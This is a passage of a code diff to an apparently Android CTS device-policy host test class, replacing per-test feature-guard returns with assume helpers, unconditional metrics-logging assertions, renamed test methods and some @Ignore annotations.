         installAppPermissionAppAsUser();
         executeDeviceTestMethod(".PermissionsTest",
-                "testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted");
+                "testPermissionGrantStateDenied_otherPermissionIsGranted");
     }
 
     // Test flakey; suppressed.
@@ -640,69 +605,51 @@
 
     @Test
     public void testPermissionAppUpdate() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_setDeniedState");
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkDenied");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStateDenied");
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkDenied");
+        executeDeviceTestMethod(".PermissionsTest", "testCannotRequestPermission");
 
         assertNull(getDevice().uninstallPackage(PERMISSIONS_APP_PKG));
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_setGrantedState");
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStateGranted");
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
+        executeDeviceTestMethod(".PermissionsTest", "testCanRequestPermission");
 
         assertNull(getDevice().uninstallPackage(PERMISSIONS_APP_PKG));
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_setAutoDeniedPolicy");
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkDenied");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionPolicyAutoDeny");
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkDenied");
+        executeDeviceTestMethod(".PermissionsTest", "testCannotRequestPermission");
 
         assertNull(getDevice().uninstallPackage(PERMISSIONS_APP_PKG));
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_setAutoGrantedPolicy");
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionPolicyAutoGrant");
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
+        executeDeviceTestMethod(".PermissionsTest", "testCanRequestPermission");
     }
 
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStatePreMApp");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
     }
 
     @Test
     public void testPersistentIntentResolving() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".PersistentIntentResolvingTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".PersistentIntentResolvingTest",
-                        "testAddPersistentPreferredActivityYieldsReceptionAtTarget");
-            }, new DevicePolicyEventWrapper.Builder(EventId.ADD_PERSISTENT_PREFERRED_ACTIVITY_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings(DEVICE_ADMIN_PKG,
-                            "com.android.cts.deviceandprofileowner.EXAMPLE_ACTION")
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".PersistentIntentResolvingTest",
+                    "testAddPersistentPreferredActivityYieldsReceptionAtTarget");
+        }, new DevicePolicyEventWrapper.Builder(EventId.ADD_PERSISTENT_PREFERRED_ACTIVITY_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(DEVICE_ADMIN_PKG,
+                        "com.android.cts.deviceandprofileowner.EXAMPLE_ACTION")
+                .build());
     }
 
     @Test
     public void testScreenCaptureDisabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             // We need to ensure that the policy is deactivated for the device owner case, so making
             // sure the second test is run even if the first one fails
@@ -723,9 +670,6 @@
 
     @Test
     public void testScreenCaptureDisabled_assist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             // Install and enable assistant, notice that profile can't have assistant.
             installAppAsUser(ASSIST_APP_APK, mPrimaryUserId);
@@ -740,67 +684,46 @@
 
     @Test
     public void testSupportMessage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".SupportMessageTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(
-                        ".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".SupportMessageTest",
-                        "testLongSupportMessageSetGetAndClear");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .build());
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".SupportMessageTest", "testLongSupportMessageSetGetAndClear");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .build());
     }
 
     @Test
     public void testApplicationHidden() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
         executeDeviceTestClass(".ApplicationHiddenTest");
-        if (isStatsdEnabled(getDevice())) {
-            installAppAsUser(PERMISSIONS_APP_APK, mUserId);
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".ApplicationHiddenTest",
-                        "testSetApplicationHidden");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .setStrings(PERMISSIONS_APP_PKG, "hidden", NOT_CALLED_FROM_PARENT)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .setStrings(PERMISSIONS_APP_PKG, "not_hidden", NOT_CALLED_FROM_PARENT)
-                    .build());
-        }
+        installAppAsUser(PERMISSIONS_APP_APK, mUserId);
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".ApplicationHiddenTest","testSetApplicationHidden");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setStrings(PERMISSIONS_APP_PKG, "hidden", NOT_CALLED_FROM_PARENT)
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setStrings(PERMISSIONS_APP_PKG, "not_hidden", NOT_CALLED_FROM_PARENT)
+                .build());
     }
 
     @Test
     public void testAccountManagement_deviceAndProfileOwnerAlwaysAllowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         executeDeviceTestClass(".AllowedAccountManagementTest");
     }
 
     @Test
     public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
             changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
@@ -814,10 +737,6 @@
 
     @Test
     public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
             changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
@@ -831,10 +750,6 @@
 
     @Test
     public void testAccountManagement_disabledAddAccount() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
             changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
@@ -848,10 +763,6 @@
 
     @Test
     public void testAccountManagement_disabledRemoveAccount() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
             changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
@@ -865,25 +776,16 @@
 
     @Test
     public void testDelegatedCertInstaller() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
-        boolean isManagedProfile = (mPrimaryUserId != mUserId);
-
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest", mUserId);
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest",
-                        "testInstallKeyPair", mUserId);
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_CERT_INSTALLER_PACKAGE_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings(CERT_INSTALLER_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest",
+                    "testInstallKeyPair", mUserId);
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_CERT_INSTALLER_PACKAGE_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(CERT_INSTALLER_PKG)
+                .build());
     }
 
     public interface DelegatedCertInstallerTestAction {
@@ -910,10 +812,6 @@
     // the DelegatedCertinstallerTest.
     @Test
     public void testDelegatedCertInstallerDirectly() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         setUpDelegatedCertInstallerAndRunTests(() ->
             runDeviceTestsAsUser("com.android.cts.certinstaller",
                     ".DirectDelegatedCertInstallerTest", mUserId));
@@ -923,10 +821,6 @@
     // access to it.
     @Test
     public void testSetKeyGrant() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // Install an app
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
@@ -956,10 +850,6 @@
     public void testSetWallpaper_disallowed() throws Exception {
         // UserManager.DISALLOW_SET_WALLPAPER
         final String DISALLOW_SET_WALLPAPER = "no_set_wallpaper";
-        if (!mHasFeature) {
-            return;
-        }
-
         if (!hasService("wallpaper")) {
             CLog.d("testSetWallpaper_disallowed(): device does not support wallpapers");
             return;
@@ -979,9 +869,6 @@
     // inside. But these restrictions must have no effect on the device/profile owner behavior.
     @Test
     public void testDisallowSetWallpaper_allowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         if (!hasService("wallpaper")) {
             CLog.d("testDisallowSetWallpaper_allowed(): device does not support wallpapers");
             return;
@@ -992,9 +879,6 @@
 
     @Test
     public void testDisallowAutofill_allowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         boolean hasAutofill = hasDeviceFeature("android.software.autofill");
         if (!hasAutofill) {
           return;
@@ -1007,10 +891,6 @@
 
     @Test
     public void testDisallowContentCapture_allowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         boolean hasContentCapture = hasService("content_capture");
         if (!hasContentCapture) {
             return;
@@ -1029,10 +909,6 @@
 
     @Test
     public void testDisallowContentSuggestions_allowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         boolean hasContentSuggestions = hasService("content_suggestions");
         if (!hasContentSuggestions) {
             return;
@@ -1064,9 +940,8 @@
 
     @Test
     public void testSetMeteredDataDisabledPackages() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
-            return;
-        }
+        assumeHasWifiFeature();
+
         installAppAsUser(METERED_DATA_APP_APK, mUserId);
 
         try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
@@ -1077,9 +952,6 @@
 
     @Test
     public void testPackageInstallUserRestrictions() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         boolean mIsWatch = hasDeviceFeature("android.hardware.type.watch");
         if (mIsWatch) {
             return;
@@ -1128,9 +1000,6 @@
 
     @Test
     public void testAudioRestriction() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // This package may need to toggle zen mode for this test, so allow it to do so.
         allowNotificationPolicyAccess(DEVICE_ADMIN_PKG, mUserId);
         try {
@@ -1142,9 +1011,6 @@
 
     @Test
     public void testDisallowAdjustVolumeMutedLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest",
                     "testDisallowAdjustVolumeMutedLogged");
@@ -1159,25 +1025,20 @@
     }
 
     @FlakyTest(bugId = 132226089)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             installAppAsUser(INTENT_RECEIVER_APK, mUserId);
             executeDeviceTestClass(".LockTaskTest");
-            if (isStatsdEnabled(getDevice())) {
-                assertMetricsLogged(
-                        getDevice(),
-                        () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
-                        new DevicePolicyEventWrapper.Builder(
-                                EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
-                                .setAdminPackageName(DEVICE_ADMIN_PKG)
-                                .setBoolean(true)
-                                .setStrings(DEVICE_ADMIN_PKG)
-                                .build());
-            }
+            assertMetricsLogged(
+                    getDevice(),
+                    () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
+                    new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
+                            .setAdminPackageName(DEVICE_ADMIN_PKG)
+                            .setBoolean(true)
+                            .setStrings(DEVICE_ADMIN_PKG)
+                            .build());
         } catch (AssertionError ex) {
             // STOPSHIP(b/32771855), remove this once we fixed the bug.
             executeShellCommand("dumpsys activity activities");
@@ -1192,10 +1053,6 @@
     @LargeTest
     @Test
     public void testLockTaskAfterReboot() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Just start kiosk mode
             executeDeviceTestMethod(
@@ -1214,11 +1071,8 @@
 
     @LargeTest
     @Test
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Just start kiosk mode
             executeDeviceTestMethod(
@@ -1245,10 +1099,10 @@
     }
 
     @Test
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     public void testLockTask_defaultDialer() throws Exception {
-        if (!mHasFeature || !mHasTelephony || !mHasConnectionService) {
-            return;
-        }
+        assumeHasTelephonyAndConnectionServiceFeatures();
+
         try {
             executeDeviceTestMethod(".LockTaskHostDrivenTest",
                     "testLockTaskCanLaunchDefaultDialer");
@@ -1259,9 +1113,8 @@
 
     @Test
     public void testLockTask_emergencyDialer() throws Exception {
-        if (!mHasFeature || !mHasTelephony) {
-            return;
-        }
+        assumeHasTelephonyFeature();
+
         try {
             executeDeviceTestMethod(".LockTaskHostDrivenTest",
                     "testLockTaskCanLaunchEmergencyDialer");
@@ -1272,9 +1125,6 @@
 
     @Test
     public void testLockTask_exitIfNoLongerAllowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             executeDeviceTestMethod(".LockTaskHostDrivenTest",
                     "testLockTaskIsExitedIfNotAllowed");
@@ -1286,9 +1136,6 @@
     @FlakyTest(bugId = 141314026)
     @Test
     public void testSuspendPackage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(INTENT_SENDER_APK, mUserId);
         installAppAsUser(INTENT_RECEIVER_APK, mUserId);
         assertMetricsLogged(getDevice(), () -> {
@@ -1315,9 +1162,6 @@
     @FlakyTest(bugId = 141314026)
     @Test
     public void testSuspendPackageWithPackageManager() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(INTENT_SENDER_APK, mUserId);
         installAppAsUser(INTENT_RECEIVER_APK, mUserId);
         // Suspend a testing package with the PackageManager
@@ -1335,19 +1179,18 @@
 
     @Test
     public void testTrustAgentInfo() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestClass(".TrustAgentInfoTest");
     }
 
     @FlakyTest(bugId = 141161038)
     @Test
     public void testCannotRemoveUserIfRestrictionSet() throws Exception {
-        // Outside of the primary user, setting DISALLOW_REMOVE_USER would not work.
-        if (!mHasFeature || !canCreateAdditionalUsers(1) || mUserId != getPrimaryUser()) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+        assumeTrue("Outside of the primary user, setting DISALLOW_REMOVE_USER would not work",
+                mUserId == getPrimaryUser());
+
         final int userId = createUser();
         try {
             changeUserRestrictionOrFail(DISALLOW_REMOVE_USER, true, mUserId);
@@ -1360,9 +1203,6 @@
 
     @Test
     public void testCannotEnableOrDisableDeviceOwnerOrProfileOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Try to disable a component in device owner/ profile owner.
         String result = disableComponentOrPackage(
                 mUserId, DEVICE_ADMIN_PKG + "/.SetPolicyActivity");
@@ -1386,25 +1226,18 @@
 
     @Test
     public void testRequiredStrongAuthTimeout() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestClass(".RequiredStrongAuthTimeoutTest");
     }
 
     @Test
     public void testCreateAdminSupportIntent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".PolicyTransparencyTest");
     }
 
     @Test
     public void testSetCameraDisabledLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".PolicyTransparencyTest", "testCameraDisabled");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_CAMERA_DISABLED_VALUE)
@@ -1422,18 +1255,16 @@
     /** Test for resetPassword for all devices. */
     @Test
     public void testResetPasswordDeprecated() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestMethod(".ResetPasswordTest", "testResetPasswordDeprecated");
     }
 
     @LockSettingsTest
     @Test
     public void testResetPasswordWithToken() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // If ResetPasswordWithTokenTest for managed profile is executed before device owner and
         // primary user profile owner tests, password reset token would have been disabled for
         // the primary user, so executing ResetPasswordWithTokenTest on user 0 would fail. We allow
@@ -1446,18 +1277,11 @@
 
     @Test
     public void testPasswordSufficientInitially() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".PasswordSufficientInitiallyTest");
     }
 
     @Test
     public void testPasswordRequirementsApi() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         executeDeviceTestMethod(".PasswordRequirementsTest",
                 "testSettingConstraintsWithLowQualityThrowsOnRPlus");
         executeDeviceTestMethod(".PasswordRequirementsTest",
@@ -1468,9 +1292,8 @@
 
     @Test
     public void testGetCurrentFailedPasswordAttempts() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         final String wrongPassword = TEST_PASSWORD + "5";
 
         changeUserCredential(TEST_PASSWORD, null /*oldCredential*/, mUserId);
@@ -1500,17 +1323,15 @@
 
     @Test
     public void testPasswordExpiration() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestClass(".PasswordExpirationTest");
     }
 
     @Test
     public void testGetPasswordExpiration() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestMethod(".GetPasswordExpirationTest",
                 "testGetPasswordExpiration");
         try {
@@ -1528,18 +1349,13 @@
 
     @Test
     public void testPasswordQualityWithoutSecureLockScreen() throws Exception {
-        if (!mHasFeature || mHasSecureLockScreen) {
-            return;
-        }
+        assumeDoesNotHaveSecureLockScreenFeature();
 
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UnavailableSecureLockScreenTest", mUserId);
     }
 
     @Test
     public void testSetSystemSetting() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".SetSystemSettingTest");
     }
 
@@ -1550,9 +1366,6 @@
 
     @Test
     public void testClearApplicationData_testPkg() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(INTENT_RECEIVER_APK, mUserId);
         runDeviceTestsAsUser(INTENT_RECEIVER_PKG, INTENT_RECEIVER_PKG + ".ClearApplicationDataTest",
                 "testWriteToSharedPreference", mUserId);
@@ -1563,9 +1376,6 @@
 
     @Test
     public void testClearApplicationData_deviceProvisioning() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Clearing data of device configuration app should fail
         executeDeviceTestMethod(".ClearApplicationDataTest",
                 "testClearApplicationData_deviceProvisioning");
@@ -1573,9 +1383,6 @@
 
     @Test
     public void testClearApplicationData_activeAdmin() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Clearing data of active admin should fail
         executeDeviceTestMethod(".ClearApplicationDataTest",
                 "testClearApplicationData_activeAdmin");
@@ -1583,9 +1390,8 @@
 
     @Test
     public void testPrintingPolicy() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.software.print")) {
-            return;
-        }
+        assumeHasPrintFeature();
+
         installAppAsUser(PRINTING_APP_APK, mUserId);
         executeDeviceTestClass(".PrintingPolicyTest");
     }
@@ -1596,37 +1402,30 @@
 
     @Test
     public void testKeyManagement() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+        installAppAsUser(SHARED_UID_APP1_APK, mUserId);
+        installAppAsUser(SHARED_UID_APP2_APK, mUserId);
 
         executeDeviceTestClass(".KeyManagementTest");
     }
 
     @Test
     public void testInstallKeyPairLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(".KeyManagementTest", "testCanInstallCertChain");
                 }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.REMOVE_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build());
     }
 
     @Test
     public void testGenerateKeyPairLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(
                         ".KeyManagementTest", "testCanGenerateKeyPairWithKeyAttestation");
@@ -1634,90 +1433,72 @@
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
                 .setInt(0)
-                .setStrings("RSA")
+                .setStrings("RSA", "notCredentialManagementApp")
                 .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.GENERATE_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
                 .setInt(0)
-                .setStrings("EC")
+                .setStrings("EC", "notCredentialManagementApp")
                 .build());
 
     }
 
     @Test
     public void testSetKeyPairCertificateLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(".KeyManagementTest", "testCanSetKeyPairCert");
                 }, new DevicePolicyEventWrapper.Builder(EventId.SET_KEY_PAIR_CERTIFICATE_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build());
     }
 
     @Test
     public void testPermittedAccessibilityServices() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         executeDeviceTestClass(".AccessibilityServicesTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".AccessibilityServicesTest",
-                        "testPermittedAccessibilityServices");
-            }, new DevicePolicyEventWrapper
-                    .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings((String[]) null)
-                    .build(),
-            new DevicePolicyEventWrapper
-                    .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings((String[]) null)
-                    .build(),
-            new DevicePolicyEventWrapper
-                    .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings("com.google.pkg.one", "com.google.pkg.two")
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".AccessibilityServicesTest",
+                    "testPermittedAccessibilityServices");
+        }, new DevicePolicyEventWrapper
+                .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings((String[]) null)
+                .build(),
+        new DevicePolicyEventWrapper
+                .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings((String[]) null)
+                .build(),
+        new DevicePolicyEventWrapper
+                .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings("com.google.pkg.one", "com.google.pkg.two")
+                .build());
     }
 
     @Test
     public void testPermittedInputMethods() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        executeDeviceTestClass(".InputMethodsTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".InputMethodsTest", "testPermittedInputMethods");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings((String[]) null)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings((String[]) null)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings("com.google.pkg.one", "com.google.pkg.two")
-                    .build());
-        }
+        executeDeviceTestMethod(".InputMethodsTest", "testPermittedInputMethodsThrowsIfWrongAdmin");
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".InputMethodsTest", "testPermittedInputMethods");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(NOT_CALLED_FROM_PARENT, new String[0])
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(NOT_CALLED_FROM_PARENT, new String[0])
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(NOT_CALLED_FROM_PARENT, "com.google.pkg.one", "com.google.pkg.two")
+                .build());
     }
 
     @Test
     public void testSetStorageEncryption() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         Map<String, String> params =
                 ImmutableMap.of(IS_PRIMARY_USER_PARAM, String.valueOf(mUserId == mPrimaryUserId));
         runDeviceTestsAsUser(
@@ -1726,10 +1507,6 @@
 
     @Test
     public void testPasswordMethodsLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
